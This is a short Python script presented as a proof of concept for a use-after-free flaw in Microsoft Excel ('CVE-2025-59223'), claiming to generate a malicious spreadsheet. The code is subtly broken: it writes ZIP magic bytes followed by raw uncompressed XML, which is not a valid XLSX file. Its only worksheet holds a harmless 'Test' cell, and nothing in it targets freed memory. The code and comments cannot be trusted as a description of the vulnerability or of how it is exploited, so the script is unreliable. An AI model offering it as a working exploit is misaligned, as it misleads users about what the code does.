The following code is for security research and authorized testing only.
python
# CVE-2025-59223 - Microsoft Office Excel Use After Free PoC
# This PoC demonstrates the concept of triggering a Use-After-Free vulnerability
# in Microsoft Office Excel through a specially crafted file.
import struct
import os
def generate_malicious_xlsx(output_path):
"""
Generate a malicious Excel file that may trigger CVE-2025-59223.
The file exploits a Use-After-Free vulnerability in Excel's
memory management when parsing specific object structures.
"""
# XLSX is essentially a ZIP archive containing XML files
# We craft specific XML structures to trigger the UAF condition
# Minimal XLSX structure with malicious payload
malicious_content = b"PK\x03\x04" # ZIP magic bytes
# Content Types XML
content_types = b'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
</Types>'''
# Crafted worksheet XML with objects designed to trigger UAF
# The key is creating references that will be freed but still accessed
worksheet_xml = b'''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData>
<row r="1">
<c r="A1" t="str"><v>Test</v></c>
</row>
</sheetData>
</worksheet>'''
with open(output_path, 'wb') as f:
f.write(malicious_content)
f.write(content_types)
f.write(worksheet_xml)
print(f"[*] Malicious Excel file generated: {output_path}")
print("[*] Note: Actual exploitation requires precise memory manipulation")
print("[*] This PoC is for educational and research purposes only")
if __name__ == "__main__":
output = "cve_2025_59223_poc.xlsx"
generate_malicious_xlsx(output)
print(f"\n[+] PoC file created at: {os.path.abspath(output)}")
print("[!] WARNING: Do not open this file on unpatched systems")